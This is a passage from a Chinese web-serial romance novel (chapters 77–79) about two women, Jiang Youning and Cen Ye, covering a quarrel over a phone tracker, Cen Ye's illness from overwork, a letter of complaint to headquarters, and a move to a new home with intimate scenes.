“可我那时候又不是你女朋友!”姜又柠反驳她,“……现在也不是。” 虽然她们同吃同睡了这么久,该做的不该做的也全都做了无数遍,但她们甚至还没有再次确认关系。 不正式地提及‘复合’这个词语,好像就能掩盖掉她们难堪的过去。 她们没有分手过,只是异国恋了四年。 “可我回国就是来找你的,没有别的目的。”岑曳的话语裏染上可怜,“柠柠,你知道吗?我好怕失败……” 姜又柠咬唇,扣手的动作更加没有规律了些。 岑曳从来没有在她面前暴露过自己的脆弱,此刻的姜又柠真觉得这个女人好像很无助。 刚到总部、亦或者刚决定回国的时候,岑曳是孤立无援的,那个时候的她,一定很害怕吧? “从小到大你觉得我很厉害是不是?成绩好,工作也好,但我每次都害怕得很,怕哪一天我就不是别人口中优秀的小孩儿了。”岑曳说,“于是我拼命地努力、拼命地去成为那个第一,怕掉下高位,更怕从你嘴巴裏听见‘姐姐,你怎么没有以前厉害了?’” “我现在也在拼命地努力挽回我们的感情,但我好像做错了。”女人的语气逐渐变得无助起来,“因为现在的柠柠跟我说,‘岑曳,你居然是这样的人吗?’” 姜又柠听得心中酸涩,心裏生出了不少愧疚。 那么强大且优秀的女人,却怕让她失望。 她要这样辜负这个女人的心意吗? “不是的……”姜又柠苦涩地开口,却不知道该怎么解释自己的真心。 她不是岑曳口中的意思,她没有觉得岑曳差。 她只是第一次经历这个女人‘阴暗面’,由于不习惯导致她不知道该怎么面对。 这不是她擅长的事情,可接受岑曳的爱却是她最擅长也最熟悉的事情。 岑曳观察到她的情绪,没有再继续往下说。 “闭上眼。”她拿开了冰袋,帮她揉按着眼尾,“有没有舒服一点?” 姜又柠点点头,又听见她说,“别动,再帮你按一按。” 姜又柠没敢再乱动脑袋,周围安静了下来,她的脑子裏不自觉地浮现出女人刚刚的话,将她的心裏扯起了一大滩波澜。 须臾,岑曳坐了回去,仍旧没再提前刚才的话。 姜又柠舔了下唇,想要解释一下,但又不知道从何开口。 她真的没有那个意思。 定位…… 岑曳只是装了定位,别的什么也没做啊。 那天她在国外,手机没了电人生地不熟的,万一真出了意外怎么办? 幸好岑曳找到了她。 姜又柠说服自己说服得很快,可一想到昨晚跟岑曳不愉快的争吵,又觉得这么快心软不太好。 她也变成了不好的大人,学会了要面子这种上不得臺面的事情。 “对不起……”岑曳似乎猜中了她的心中所想,抓过她的手放在了掌心,“会原谅我吗?柠柠。” 面子的臺阶来了,姜又柠顿了下,轻轻点了点头。 “你以后不准了!” 女人勾了勾唇,“好。” 她现在已经彻底抓住了姜又柠的心,哪裏还用得上那些东西呢?—— 作者有话说:这本是甜文,写什么强制爱啦[愤怒][愤怒] 坏女人有坏女人的强制招数,温柔女人当然也有温柔女人的语言组合技[狗头叼玫瑰][狗头叼玫瑰] 第77章 庄玟做的西餐偏法式, 油封鸭、马赛鱼羹、红酒山鸡,还有最经典的鸡肝牛排。 江诗文去拿了盘子和刀叉分发,姜又柠双手接过, 脑子也逐渐被食物的香气吸引走,一时之间清醒了不少。 她慢慢回想着刚才跟岑曳的对话,茫然之间似乎决定哪裏不太对劲, 但是她又想不明白。 不过矛盾解决就好,她就喜欢岑曳这样服软的态度, 适时地将她捧上天。 她狐疑地看向岑曳, 香槟还没能喝一口就被女人拿走换成了果汁。 “你家没有热牛奶吗?”岑曳问。 庄玟蹙眉, “我家裏放小孩儿喝的东西干嘛?” 江诗文反驳, “这是我家!” 姜又柠则是扯了下岑曳的袖口,“我在外面不喝热牛奶!” 四个人处在四个完全不同的频道,相处起来也勉强算和谐。 “怎么?之前天天在外面喝酒,怕别人知道你在家裏只被允许喝热牛奶?” 姜又柠的脸色变了, 岑曳勾勾唇, 及时打住了。 “好了,少喝点儿也没关系,暖暖胃。”女人将香槟倒出来一半,重新给她放了回去。 姜又柠立即没音了,心满意足地抿了一口, “贵的酒就是不一样哈!好喝!谢谢庄总监!” 这顿饭姜又柠吃得很满意, 餐后也不用着两个人收拾。 两个人留下来对于两对人分别是一种打扰, 所以岑曳找了个‘午休’的借口拉着姜又柠回家了。 姜又柠嫌手机太冰,放在口袋裏又太重,便塞进了女人的手上。 “那个定位,我是不是也能看见你?”姜又柠好奇地问了下。 “嗯, 绑定一下应该就好了。” “啊……”姜又柠舔了下唇。 她应该给自己下一个的,她也要监视岑曳! 但岑曳会出现在的地点只有家裏和公司,监视起来也太无聊了。 还是监视她这种活蹦乱跳,想要满世界跑的人比较有挑战性吧? 想了半天,姜又柠摸了摸自己的额头,她大概是发烧了,居然在考虑这么无厘头的事情。 “想什么呢?”岑曳忍不住戳了戳她的脸,姜又柠鼓起来的腮帮子洩了气。 “没想什么。”姜又柠的手伸进女人的口袋,打算把自己的手机拿回来。 裏面装了两个,她错拿了岑曳的。 她解开女人的手机,随意看了看,“你的消息都好无趣哦。” “哪种消息叫有趣?” “比如谁约你出门玩儿了,谁要跟你一起吃饭……” 岑曳笑了下,“打开你的聊天框不就能看到了。” 这种限定话题,她只跟姜又柠一个人聊。 姜又柠瘪瘪嘴,走回家的步伐快了些。 她换了套睡衣,又听见浴室传来洗澡的声音。 “冬天也一天洗两三次,有暖气也很冷的……”姜又柠嘟囔几句,没多久岑曳就在她身边躺下了。 岑曳翻看着日历,上面记录着重要工作的日期,姜又柠余光瞄到,“我们房子的租期还有多久?” 自打她跟岑曳合租之后,她就再也没有管过租房的事情了。 无论是续租还是家具坏了,都是岑曳自己联系的房东和物业。 水电费她也不知道什么时候欠过费,续租的半年她好像也没交房租,反正岑曳事事都很周到。 “年后初十左右吧,今年年过得早,差不多一个月出头。”岑曳点开购物车,“得尽早考虑搬家的事情了。” “还早着呢。”姜又柠埋在她怀裏,哼唧了几声,“天气太冷了,搬家太麻烦。” “新家冷暖气覆盖了所有面积,你这个冬天会过得更舒服一点。”岑曳拍着她的后背,“你不用考虑搬家的事情,我把你的所有行李先带过去,按照现在的摆放一模一样整理到那边。” “而且那边的居民楼很低,联排别墅比较多,区域人少,也安静些。” 姜又柠咬了口女人的锁骨,“你说得也太好了,我都想现在搬过去住了。” “也可以,反正今天闲着没事儿,可以先搬些必要的用品。”岑曳说,“年前年后这段时间我都会很忙,我得提前给你打个预防针。” “会跟之前项目中期一样忙吗?” “要更忙一些。”岑曳吻她的额头,“现在部门很稳定,庄玟那边的部门下周就会确认成立,她们不止负责国内外对接,还有国内的合作方。所以总部那边为了提高效率,打算同时试水几个项目。” “好几个?”姜又柠惊讶道,“我们部门才多少人啊!” “第一个项目实施得很好,总部那边现在对于国内市场很看重,也很着急。事推人没办法,好好做就是了。” “那些高层一点都不懂得心疼人,哪儿有这么压榨员工的?”姜又柠抱紧了她,“反正你要以自己的身体为准,不能把身体忙坏了。” “嗯。”女人轻轻应了一声,“我知道。” 元旦这一天假期过得很快,两个人本来打算往新家先搬些行李,但姜又柠一听岑曳之后的安排就吓得不去了,要她在假期内好好休息,不准再忙东忙西。 周三上班,姜又柠就跟岑曳再次‘失联’了,明明在一个部门办公,但一天下来话都聊不了两句。 一天下来又是大会、又是小会、又是总部的临时会议,还得跑外务跟合作方洽谈。 姜又柠的微信开始跟江诗文99+,闲聊的同时还不忘分别吐槽几句那两个女人有多忙。 她的工位上偶尔会多出来三杯奶茶或者咖啡,她便在午休的时候给两间办公室送过去两杯,说这是江诗文的心意。 周末也是,岑曳早出晚归地加班,连饭也顾不得吃。 她一醒来身边的被窝冰冰凉,餐桌上是冷掉的早餐。 姜又柠这个时候就会自己做午餐或者去打包些两个人都爱吃的,然后给岑曳送过去。 女人吃饭也没办法专心,盯着邮件和策划案修改。 “这样的日子什么时候是个头啊……”姜又柠托着下巴看她,“你在总部也这样忙吗?” “差不多。”岑曳知道她担心,没有说实话。 在总部那边为了用行动反驳岑千兰,她几乎住在公司,一年都睡不了几个安稳觉。 她闲不下来,一变得无所事事就会想起姜又柠那张脸。 为了不让姜又柠讨厌她,她忍住不去联系她,但脑子裏却强迫似的一遍遍被迫塞进过去的回忆,跟争吵时的场面混在一起,几乎要将她逼疯。 她只能用工作麻痹自己。 “又不跟我讲哦……”姜又柠对于岑曳的纰漏也抓得很熟练。 尤其是隐瞒掉所有的辛苦然后僞装成没事人那样轻松的样子。 “反正我知道你辛苦。”姜又柠哼了一声,“别人不心疼你,我心疼你!” 她收拾完餐盒,“我打算考驾照了!要是你之后还这么加班,那我就来接你下班!” “不送我上班?” “这个嘛……我,我起不来……”姜又柠为自己辩解,“怎么会有人在休息日还要早起的呢?反正我不要!” 她生怕岑曳再继续进行这个不可能完成的话题,便拿起手机开始搜驾照相关的事情,“嘘!你别打扰我,我要开始备战科目一了!”- 近两天又下了雪,又一次到周末的时候岑曳没再让姜又柠过来了。 早上出门的时候姜又柠还没上班,凌晨回家的时候姜又柠就已经睡着了。 她咳嗽了几声,尽量放低自己的声音,浑身疲惫难忍,便倒了杯热水先在沙发上躺下了。 姜又柠起夜的时候看到的就是躺在沙发上睡着的女人,茶几上还放着一整杯冷掉的水。 “岑曳?回房间睡啊!这样会生病的。”姜又柠半蹲下来小心翼翼地碰了碰她的身体,却感受到了过于发烫的温度。 她又摸了摸女人的额头,烫得吓人。 “岑曳!”她急忙把她喊醒,换了一杯热水要她喝。 但岑曳接了下没什么力气拿,姜又柠只能先给她量了□□温,将杯口送到她唇边,“你小心烫!” 几分钟过去,她将体温计拿出来,“都烧到三十九度多了!我们去医院!” “没事,我吃个药就行。”岑曳眯着眼睛,脸上的表情看起来很不好受,“明天还有个会,比较紧急,不能耽搁。” “不行!什么工作能有你的身体重要!”姜又柠不乐意,努力把她拉起来往外面走,“我打车,我们去医院!” 她拿了外套给岑曳穿上,学着以往女人照顾她的样子,拿了保温杯就往医院去。 两个人坐在车后排,姜又柠抱住她的身体,努力不让自己的眼泪掉下来。 现在她应该坚强一些的,可是她从来没有见到过岑曳这么痛苦的样子,她也难受得鼻子发酸。 “岑曳你别怕!我就在你旁边呢!我会陪着你的!”与其说是安慰岑曳,不如说姜又柠在自我安慰,她拍着岑曳的胳膊,嘴裏絮絮叨叨个没完,“没事的啊,你马上就好了!你别害怕!我也不怕……” 已经是凌晨三点了,医院裏的人不多,她匆忙去挂了号,前前后后忙碌了半个小时才跟岑曳一起在走廊的长椅上坐下。 旁边一排排都是挂着点滴的人,姜又柠见她保温杯裏的水喝了一大半,又‘哒哒哒’跑去接了热水回来。 “给你。”姜又柠喘着气,“现在是不是还是很难受?” “下班回家的时候我吃了药的。”岑曳摸了摸她的头,“坐下来歇会儿吧。” “好,我不跟你说话了,不浪费你的力气了。”姜又柠挽过她的胳膊,“今晚我不睡,我陪着你,你靠着我休息吧!” 岑曳把她的口罩往上拉了下,“注意防护。” “现在你才是病人嘛。”姜又柠的语气裏还带着哭腔,“我真的很担心你,你知不知道……” 她真的要吓死了,大半夜在沙发上看见岑曳人事不省,她还以为自己在做梦。 “我们柠柠长大了。”岑曳温柔地看着她笑,只是面容上多了些明显的虚弱。 她没听到姜又柠说话,垂眸看了一眼,正巧看见她的眼泪落在了自己的衣角上。 “不哭,就是生个病而已。”岑曳嘆了口气。 以前姜又柠自己去了医院多少次都没哭,怎么她输个液就也跟着难受得不行了? 跟个傻姑娘一样,知道的是她发烧了,不知道还以为哭丧呢。 “可是我难受……岑曳……” 女人越是表现得没事,姜又柠就越控制不住眼泪,她将脑袋埋在女人胳膊上,不肯让她再看见这么没骨气的自己。 她以为岑曳是强大的、无所不能的。 可岑曳一旦露出任何‘纰漏’,她就会紧张害怕。 比如生病,比如强烈的占有欲。 人是多面性的,岑曳也不例外,她不止有温柔这个品质,还有很多个不一样的另一面。 无数的特点彙聚成了一个完美的女人,姜又柠知道自己爱她爱惨了。 “我怕你死掉……” 岑曳无奈地笑,“怎么还咒我呢?” “我不想你生病,也不想你太辛苦……”姜又柠哽咽说,“那么多工作不能扔给别人吗!之前的领导都喜欢当甩手掌柜,就你尽心尽责,我不想让你这样,你应该自私一点,对自己好一点!” “对工作负责就是对自己负责。”岑曳平静说,“这是我该承担的责任。” “这是个屁的责任!就是总部那群业界毒瘤推给你的责任!她们满脑子就想着赚钱!这群领导每天坐在办公室动动手指分配任务,不管能不能按时做完,反正就要全部扔给你!” “她们不能把我的岑曳身体搞坏了,不然我跟她们没完的!” 听到她的话,岑曳顿了下,“你的,岑曳?” “就是我的!是我一个人的!”姜又柠一想到总部那群人精就生气,气得脑袋都要炸掉了! “我不准任何人伤害你!”她咬住女人袖子上的棉袄,用力再用力,“我要跟总部写投诉信!工作量太大!吃不消!” 旁边有个老太太睁开眼睛,“小姑娘,这都大半夜了,有什么话明天回家再说吧。” 姜又柠立刻僵住,说了好几句对不起,之后困窘地藏起了自己的脑袋,任凭岑曳怎么扒开她都不愿意露出自己的脸。 刚才的气势一点儿都没了,就像个洩气的河豚,瘪瘪的,戳一下就缠在人身上。 岑曳抱住她,要她靠在自己的肩头,“睡吧,宝贝。” 女人闭上眼睛,晕眩的脑袋也毫无睡意。 这个病生得很及时,看来定位的事情已经彻底烟消云散了—— 作者有话说:我们柠柠是个好宝宝[爆哭][爆哭] 我们岑姐……也算个有心计、爱耍花招、爱卖惨让柠柠可怜她的好姐姐吧[狗头叼玫瑰][狗头叼玫瑰] 第78章 输液一共三瓶, 姜又柠醒过来的时候,岑曳手背上的针都已经拔掉了。 她揉了揉眼睛,看着来来往往的人, “我好像睡得太死了……” 还说来医院照顾岑曳的,换输液瓶和喊护士,都是岑曳自己去过的。 也不知道是女人实在小声, 还是她在她怀裏睡得实在太安心。 姜又柠摸了下岑曳的额头,“已经退烧了吧?要不要再量一下?” “先回家吧。”岑曳拉着她的手往外面走, “睡得好吗?” “哈哈……”姜又柠干笑了两下, 不好意思回答。 打车回家之后, 姜又柠买了两碗馄饨拎上楼, 岑曳去了浴室洗澡,她没能拦住。 “还没好完全呢……”姜又柠自顾自地吃着馄饨,在手机上找着好久之前的部门准则。 找了半天没找到她便开了笔记本,终于在文件夹裏搜出来了总部的联系方式。 她记录在手机裏, 开始洋洋洒洒在便利贴裏写部门当下的工作如何辛苦, 建议减少个人工作量,多招人。 反正建议信她一定要写,总部那群人会不会听她才懒得管。 写了几百字她便开始翻看,觉得字数太少不真诚,便加上了一大堆歪理凑够了八百字小作文。 翻译成了英文之后, 她开始阅读, 读了几个单词之后就放弃, “不用读,我写的建议信翻译成十国语言肯定都能读通顺!” “写什么呢?”岑曳从浴室裏出来,看见她罕见地搬了电脑出来,稀奇地笑了笑。 “当然是建议信!”姜又柠将体温计甩了甩递给她, “你再量一量!” 岑曳坐下吃着馄饨,旁边是姜又柠贴心地给她煮的热牛奶。 “我是不是很厉害?” 刚吃了一口馄饨,女人就听见姜又柠这样问。 她的眼睛裏是雀跃的星星,充斥着想要被夸赞的情绪。 “确实很厉害。” 姜又柠听出了她的敷衍,面无表情道,“……哪裏厉害?” “……”女人思索了下,“哪裏都厉害。” 姜又柠放弃跟她进行这种车轱辘话,“你看你生病了我都能把你照顾得井井有条的。又是热牛奶,又是量体温的,不过我还打算等你彻底好了帮你洗澡来着,但谁知道你非要自己洗。” 女人勾了勾唇,“再洗一次也不是不行。” 姜又柠双手紧紧交握,脸上写满了对自己的崇拜,“小时候我问我妈妈什么叫独立,她说会照顾自己就叫独立;我又问她这跟成熟有什么区别?她说成熟意味着除了独立以外,还能够把身边的事情安排得井井有条不出乱子。我现在是不是做到了?” 岑曳点点头,“我们柠柠是长大了很多。” 这句话姜又柠听过很多次,但每一次听到都很开心。 她知道岑曳是在认真夸她。 小时候的任性跟随着稚嫩的青春远去,现在的她也变成了会照顾身边人的大人。 她不是一味地朝着岑曳索取,而岑曳不只是单方面的给予。 她们现在是互相照顾,彼此共同成长。 “你帮我看看这个英文翻译的对不对?”姜又柠说,“别让我闹笑话了。” 岑曳简单扫了几眼,不忍心戳穿她的天真,“写得挺完整的,什么时候发?” “当然是立马发啊,早点发过去你就能早点休息了。”姜又柠说,“要不是因为发烧,这个星期天你还在上班呢。” 岑曳点点头,“一会儿我得去趟部门,你一会儿吃饱了就去补个觉。” 姜又柠张大嘴巴,重重呼出一口气,“我已经把建议信发过去了!” “行。”岑曳拿出体温计,吃掉最后一个馄饨,摸了摸她的头,“我等你的好消息。” 姜又柠看了眼温度计,确实退烧之后才放了心。 她转身看向在门口穿外套的女人,“你傍晚能准时回来吗?” “看情况。” 那就是回不来。 “那我给你送饭!” 不到十天就要过年了,还在这裏加班。 但岑曳说她年前年后都很忙,所以两个人约定好过年休息的那几天搬家。 她们都没亲戚要走,姜鸿英也提前发消息了说她过年得在雇主家陪着,雇主是个老太太,孩子过年不回来。 因为给的薪资多,姜鸿英也不愿意拒绝。 行李要先搬姜又柠的,她下午没事儿的时候就收拾了自己的行李。 傍晚,她准时拎着两份面去了部门。 刚推开办公室她就要岑曳抓紧时间吃,不然就要坨了。 话刚说出去,她才看见女人冲她不动声色地摆了摆手,示意她嘘声。 岑曳将自己这边视频会议的麦关掉了,要她坐到旁边来。 姜又柠冲她对口型,‘我能说话吗?’ “麦关掉了。” “那你什么时候吃饭?”姜又柠说,“我学会了爱心煎蛋,都放在保温壶裏了。我还带了碗和筷子,这样吃着更方便。” “稍等,开完会。”岑曳偶尔再开麦说几句流利的英语。 姜又柠坐在旁边双手托着脑袋看她,眼睛裏满是崇拜的星星。 虽然她听不懂,但她知道岑曳最厉害! 下一个女人的声音她听着格外眼熟,偷偷往屏幕那边瞄了一眼,发现是岑千兰,她吓得又将脑袋瑟缩了回去。 岑曳注意到她的动作,无奈地笑笑。 “岑阿姨说什么呢?”姜又柠想要知道。 “她在说你那封建议信的事情。” “是不是要成了?” 岑曳没点头也没摇头,只是认真听着岑千兰跟高层之间的据理力争。 匿名信只是单方面匿名而已,总部那边清楚得很。 在建议信发出去两个小时之后,总部那边就给了明确的答案暗示她找个机会开掉这位员工。 但事情的转机发生在了岑千兰看到了这封建议信的来源,便在视频会议结尾提到了这些。 她为总部的事业着想,更为自己的女儿着想,在建议信裏看到姜又柠说,部门领导都发烧大半夜还要去医院的时候,脸上的担忧就格外明显。 岑曳很难形容这种感觉。 以前的岑千兰要她先变成别人眼中优秀的人,再适时地考虑自己。 而现在的岑千兰要她保重身体,总部这边不会给她任何压力,有什么她会替她挡在面前。 “到底能不能行啊?”姜又柠也想到了岑曳刚到部门的时候,那几个受不了岑曳的工作制度而写了投诉信的人,最后全部被开掉了。 她该不会也是这个下场吧……? “现在应该是行了。”岑曳跟屏幕中的岑千兰对视了一眼,母女两个人僵持几秒钟,都露出了淡淡的笑容。 视频会议被挂断了,姜又柠立即把面条推到她面前要她赶紧吃饭。 “那年后会调整吗?” 岑曳思索了下,“已有的项目得先做完,新项目会调整,应该至少也得是半年后的事情了。” “那不还是没调整……”姜又柠嘆了口气,“还以为过年你能多歇几天呢。” “你能一直陪在我身边,我就不觉得累。”女人的手捏了捏她的脸,“我们柠柠作用可大着呢。” 姜又柠冲她甜甜地笑,岑曳要她坐近些,随后便吻住了她的唇。 偌大的办公室内很安静,只有两个人存在的空间内很快就只剩下亲吻的水渍声。 氧气被剥夺,姜又柠脑袋下意识往后躲,却被女人捞过来,抱着放在了腿上。 她比岑曳要高出一截,垂眸时能够看见女人眸光中过分的痴迷。 岑曳抓过她的手,轻吻她的手指,温热的掌心顺着她的腰往上蔓延。 吻很快被加深了,岑曳将她卡在办公桌和自己腰上,姜又柠立即动弹不得了。 缺氧感逐渐加重,姜又柠仰起脑袋,女人便顺着她白皙的脖颈往下吻。 星期天加班的人不多,也不会有人突兀地来办公室打扰。 尽管两个人都清楚这个事实,可姜又柠还是害怕得很。 越是害怕,感觉就来得越快。 岑曳咬住她的唇,将她的唇珠含在嘴裏吸/吮。 姜又柠的胳膊肘往后撑住桌面,肌肤摩挲到了粗糙的纸张。 “文件……” “要碎掉的文件,别担心。”女人在她耳边轻轻地笑,轻轻舔舐着她的耳廓,舌尖顺着她的耳骨来回勾动。 痒得很,姜又柠抓住女人的衣角,承受着她热烈的亲吻。 不知道什么时候,姜又柠半躺在办公桌上,岑曳抓住她的脚腕,又一次倾身吻住她。 牙齿扯起来几丝细微的痛感,酥酥麻麻的感觉让姜又柠死死咬住了唇。 岑曳的掌心揉按着她的肌肤要她放松,吻却没能停下来。 这场热烈的亲吻不知道持续了多久,姜又柠被她抱在怀裏安抚。 岑曳坐在角落的沙发上,用衣服包裹住她的身体,眉眼间尽是餍足。 她喂给姜又柠温水,又忍不住啄了啄她的唇,看她逐渐回神之后才起身将桌上湿掉的文件扔进垃圾桶。 “我下午收拾了行李,我们可以找个空闲的时间搬家。”姜又柠说,“你说的那些你暂时用不到的东西我也帮你收拾了,可以一起搬过去。” 岑曳看了眼时间,“行,一会儿我等庄玟的材料送过来之后我们就回家。” “今天可以下班这么早?” “陪你这件事当然最要紧。” 难得准时下班一次,尽管是在周末。 岑曳将两个行李箱和箱子放进车子后备箱裏,姜又柠帮忙将几个小的搬进了车子后排。 “今晚我们就睡新家吧!”姜又柠期待得很,“明天又是周一了,我年前想提前请假来着,尊敬的领导大人你会给我批准吗?” “看你们小组的工作安排。”岑曳没给准话,“问问你们组长。” “我们组长很严肃的,是跟你从总部来的人,我不敢问……” 自打江诗文离开之后,她们小组就没组长了,所以岑曳直接安排了手边的人负责她们小组。 总部的领导不是吃干饭的,总部的员工更加不是! 姜又柠甚至不敢回忆刚开始那段时间的痛苦磨合日,现在熟悉了工作流程之后,她们小组每个月的业绩都是最好的,奖金也拿得最多,勉强也算得上是另一种苦尽甘来。 “我们过几天那个工资怎么发呀?”姜又柠问她,“我看助理姐姐还说我们有团建呢。” “团建看投票情况吧,应该没多少人愿意在年前跟同事团建。”岑曳的计划裏完全没这个安排。 她懂打工人的心思。 “也是哦,我还是想跟你单独待在一起啦……”姜又柠这会儿无聊,开始看部门制度上的奖金那一条,“那我们的十六薪今年能不能……” 岑曳只来了半年,部门制度也是她来了之后新改的,这种按年算的还不知道今年会不会实施。 “过几天跟工资一起发吧,具体的你可以问问财务。”岑曳等红绿灯的时候又拿着手机确认了一下,“确实是过几天发。” “我还听我们组长说,总部那边还有年会的,你到时候去吗?” “你想去吗?”女人看她。 “我才不去!” 岑曳乐了,“那不就行了。” “听说很热闹的。”姜又柠还有点好奇,“我看诗文打算去国外过年来着,她跟庄玟的家人都在国外。” “跟家人一起过年是很幸福。” “那……岑阿姨呢?”姜又柠小心翼翼地问出口。 “我问过了,她今年要去欧洲分公司一趟。”岑曳说,“她有个老朋友很久没见了,只有这个时候才有时间。” 姜又柠放松地呼出了一口气,“我还想着你们俩会不会关系还是很僵硬,那我就去问岑阿姨,我想让她回国跟我们一起过年!” “我们柠柠,小脑袋瓜裏每天怎么都要操心这么多事情呢?”岑曳捏了捏她的脸,心情格外愉悦。 “没办法,我太有责任感了!”姜又柠就喜欢听女人这样夸她。 车子开到了新家,姜又柠一下子就跑到了落地窗那边。 岑曳装修的时候没问过她的意见,可她对于这个房子哪哪儿都特别喜欢。 尤其是这个一览无余可以看到外面夜景的超大落地窗,有一种整个A市都是她的江山。 这种感觉也太爽了,怪不得人爱做梦呢。 这会儿她不算饿,所以缠着岑曳要喝酒。 “明天还要上班,少喝一点。”岑曳去厨房给她准备了热红酒。 落地窗旁前几天添置了小酒桌,姜又柠靠着椅背,心情舒适地望着窗外,还拿着手机拍了好几张照片。 热红酒很快就被端上来,姜又柠抿了一口,满足地喟嘆。 客厅的灯只开了一半,光线昏黄不算明亮。 岑曳跟她碰杯,窗外灯红酒绿,绚烂的光线照进来,点亮了女人眸中浓烈的占有欲。 她不说话,只是安静看她,看她拿着手机拍照,看她抿红酒时满足的姿态。 真想吻她。 姜又柠浑然不知,暖气还开着,加上喝了不少红酒,她没多久就觉得热,便把棉袄外套口袋裏的纸巾和口红拿出来放在了桌上,随手把棉袄扔到沙发上又跑回来。 她坐下之后还特意看了一眼岑曳,还以为这个女人会皱着眉头警告她,‘不怕感冒生病?’ 但岑曳只是认真盯着她看,眸孔中的情绪难以揣测。 姜又柠喝光了第二大杯热红酒,站起来双手按在落地窗上,哈出一口气看着上面的白雾凝结又化掉,她便再次哈气。 “又喝醉了。”岑曳走到她身边,双手插/进口袋。 姜又柠突然想起来,“岑曳,你的酒量现在很好吧?” 女人知道她要质问什么,勾了勾唇,“还可以。” “那你之前在家裏还跟我装醉?就是故意想进我的房间,想睡我的床?” “我那个时候不止想睡你的床。” 姜又柠顿住,脑子裏几乎了立即接下了女人的话,‘我更想睡你。’ “看这个窗上还能印出我的脸呢,就是不太清楚。”姜又柠迅速转移了话题,凑近看了看,“喝完酒之后我的嘴巴很红,就跟涂了口红一样。” 岑曳余光瞥见桌上的那支口红,随手拿了过来打开看了看。 “怎么了?”姜又柠不解。 “脑子晕吗?”女人问她。 “只有一点点,但还是可以亲亲的哟!”姜又柠像是为了证明自己没喝醉,还凑到女人身边,在她嘴上重重亲了一下。 她眨眨眼睛,眼睛裏满是一下子就能准确无误亲到的窃喜。 往后退的时候就被女人抱住了。 岑曳单手揽过她的腰,视线在她的唇上来回描绘,“我们来玩个游戏好不好?” “好呀好呀!”姜又柠正在兴头上,“什么游戏?” 以往跟别人出去吃饭喝酒,大家总会在兴致好的时候玩一些酒桌游戏把气氛烘托得更加热烈。 当下岑曳难得不批评她喝醉,反而主动提起要玩游戏,姜又柠毫不犹豫便答应了。 “我在你身上写字,你猜错了就脱掉一件衣服。” 这是什么游戏? 但她跟岑曳都不是外人,脱个衣服怎么了?全/裸都没关系。 “回房间吗?” “不回。”岑曳说,“落地窗是单向玻璃。” 姜又柠狐疑地看向她,“那用什么写?” 女人示意了下手上的口红。 “很贵!” “我再给你买新的。”岑曳忍不住啄她气鼓鼓的脸,“该不会是怕输,不敢跟我玩儿?” 姜又柠还就吃激将法这一套,她哼了一声,“谁说我不敢了?” “行,这可是你答应的。” “当然!我说一不二!”姜又柠坚定得很,“你刚刚说,猜错了脱一件衣服,那我要是猜对了呢?” 女人发出一声轻笑,“那我可以帮你脱。” 姜又柠:“……?”—— 作者有话说:[哈哈大笑][哈哈大笑] 第79章 横竖都不合理, 岑曳完全把她当傻子吧? “我不同意。”姜又柠警惕地看她一眼,然后双手交叉,紧紧地抱住了自己。 “行, 允许你改规则。”岑曳手裏把玩着口红,嘴角笑意愈发深了。 看来还没那么醉。 “我要是猜对了,你脱。” “可以。” 规则由非常不公平变成了不公平, 女人当然欣然应允。 姜又柠又喝了一口热红酒,想着早知道刚才就不脱棉袄了。 她冬天不喜欢穿内衣, 所以裏面就只剩下这一件贴身毛衣了。 不行, 她一定不能输! “我们先试玩一局!”姜又柠说。 “趴好。”岑曳将她的身体反过来, 要她双手继续按在落地窗上, “低一点。” 这样的动作过于敏/感,姜又柠抿了抿唇还是照做了。 她微微弯腰,视线先是看见了外面彩色的灯光,再然后就是玻璃窗上呼出的白色雾气。 “你, 你先用手写。” 话音刚落, 她就感受到女人的指甲落在了她的后腰上。 轻轻刮挠的动作让她瑟缩了下,随后被女人拍了下屁股。 “别动,你一直抖我怎么写?”岑曳警告她,“专心点。” 姜又柠皱着脸蛋,“你快点!” 指腹摩挲着她的肌肤, 岑曳的手指动作得很慢, 一分钟左右她才写完。 “你给我个提示。” “三个字。”岑曳毫不犹豫地回答她。 “那我就知道了!是我的名字!姜!又!柠!”姜又柠站直了, “太好猜了!中间那个‘又’可是很明显的!” 她脸上藏不住笑容,随后又嘀嘀咕咕,“早知道不试玩了……” 岑曳脱了件大衣,裏面也只有一层衬衫打底, 姜又柠好奇地摸了下内衣的蕾丝边,“……你比我多一层,哼。” “这也算我的问题?”岑曳乐了。 “算了,我不跟你计较。”姜又柠自信开口,“小学的时候我虽然没拿过优秀学生的奖状,但我可是拿过字写得端正又漂亮的奖状,语文老师夸我好多次我笔划学得好呢!还奖励了我一根铅笔!” “那姜又柠同学,接下来可要再接再厉啊。”女人搂过她的腰,将她往落地窗的方向带。 她将口红挤出来,在手上试了下颜色,随手抹在了自己的唇上。 “这个色号好看吗?我用光好几个了,不是很艳的颜色,日常提气色非常好用!” “好看。”岑曳抿了抿唇,将少量的口红晕开,拿着口红在姜又柠后腰上画了个点。 “……有点痒。”姜又柠别扭地动了动身子。 岑曳的手不动声色地按住她的腰,以防止她再乱动,“不专心的话可是会输掉的。” “可是很痒啊。” 女人勾了勾唇,“一想到被柠柠猜对之后要做什么就有点苦恼呢。” 想到岑曳在她面前无奈脱掉衣服的场面,姜又柠立即笑出了声来。 “没关系,这点痒我能忍住的!你开始吧!”她露出两排洁白的牙齿,表情上满是期待。 岑曳的动作依旧很慢,视线在她白皙的肌肤上来回描绘,舔了下唇。 “姜……”姜又柠对于自己的姓氏很熟洗,“又……还是我的名字?送分题?” 可写到第三个字的时候,她就‘嘶’了下,“这是什么字?不是柠啊?” 岑曳结束掉最后一笔,看到橘红色的字,满意地勾了勾唇,“依旧给你一个提示,三个字。” “姜又什么……?”姜又柠死活想不出来,她的手往后腰摸了下却被女人拿开。 “是写字不是雕刻,摸不出来。”岑曳警告她,“倒计时一分钟。” “喂!你耍赖吧?你故意把我名字的前两个字跟别的字混淆在一起,好转移我的注意力是不是?” “快点猜。”岑曳嫌她聒噪,重重拍她屁股。 “什么呀……”姜又柠的心思完全被自己的名字给拐跑了,这会儿死活想不起来第三个字的笔划。 她只记得,岑曳写了好多个笔划,别的就是满脑子空空了。 岑曳将口红盖子盖上,随后放到一边,手指落在她的衣角上,随意撩了撩,“猜不出来我可就当你认输了?” “我,我……” 岑曳将暖气温度调高了些,缓缓掀起衣角让她慢慢适应,随后轻轻在那三个字上落了吻。 姜又柠咬唇,“脱就脱,那你得告诉我你写的是什么……” 上半身很快干干净净的,她半蹲在落地窗边,这下不敢像刚才那样大胆地往外看了。 尽管知道是单向玻璃,可她也没有那个勇气。 岑曳有洁癖,这个玻璃被她擦得很干净,往远处看就像没有一样。 